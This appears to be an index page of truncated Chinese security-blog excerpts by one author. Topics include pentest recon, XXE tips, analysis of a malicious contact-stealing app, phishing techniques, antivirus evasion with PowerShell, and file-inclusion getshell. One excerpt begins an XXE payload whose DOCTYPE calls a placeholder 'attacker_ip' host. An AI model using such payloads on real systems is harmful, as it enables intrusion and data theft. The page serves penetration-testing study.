hush的文章

2021-03-15hush阅读(495)赞(0)

确定目标 收集信息 x.x.x.x 首先常规测试方法一顿怼，目录扫描，端口扫描，js文件，中间件，指纹识别，反正该上的都上。。。。 随手加个路径，报错了，当看到这个界面我瞬间就有思路了 为什么这么说呢，因为之前我就碰见过这样的网站报错， 这...

2021-03-14hush阅读(636)赞(0)

记录渗透测试中常见的小Tips。 关于XXE漏洞的一些总结 XXE Payload: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker_ip:port/...

2021-03-13hush阅读(675)赞(0)

开始 接到任务，分析一恶意APP，涉嫌盗取用户通讯录、短信、定位信息，并对中招用户进行勒索。 分析APP 使用AndriodKiller查看了下APP申请的权限 可以看到基本都是敏感度很高的权限，模拟器中打开APP。 APP除了当前能看到的...

2021-03-12hush阅读(1854)赞(0)

在大型企业边界安全做的越来越好的情况下，不管是 APT 攻击还是红蓝对抗演练，钓鱼和水坑攻击被越来越多的应用。 一、邮件安全的三大协议 1.1 SPF SPF 是 Sender Policy Framework 的缩写，中文译为发送方策略框...

2021-03-09hush阅读(567)赞(0)

周末在某个CTF群偶然看到这个钓鱼网站：http://gggggg.cn （声明：本文中出现的域名、IP均被替换，并非真实存在，请勿测试），于是开始对该网站进行渗透。观察网站页面，可知这个网站应该是用来盗取QQ账号的。除了域名没有一点迷惑性...

2021-03-07hush阅读(538)赞(0)

查看执行JS的环境 print(execjs.get().name) 返回值：JScript windows 默认执行JS的环境 返回值：Node.js (V8) 自己安装的NodeJS环境 安装NodeJS 下载： http://node...

2021-03-06hush阅读(681)赞(0)

前言 在之前发布的一篇 渗透技巧之Powershell实战思路中，学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学习...

2021-03-05hush阅读(611)赞(0)

1.前言 最近在某个项目上天天挖洞，每天不是什么信息泄露就是xss，没有一个能getshell，愁的不行，感觉头顶都凉飕飕了。不知是早上出门时，没注意踩到狗屎，还是今天运气好，发现一处竟然有文件包含漏洞，该平台一波getshell姿势，逐一...

2021-03-03hush阅读(3630)赞(1)

大家进行网站日志分析的时候，常见到很多不同IP段的该平台蜘蛛，为了方便大家更好的进行日志分析，下面列举了该平台不同IP段常见蜘蛛的一些详情情况，及所谓的降权蜘蛛，沙盒蜘蛛，高权重蜘蛛等等。 众所周知，该平台蜘蛛爬虫对于网站SEO有很好的索引...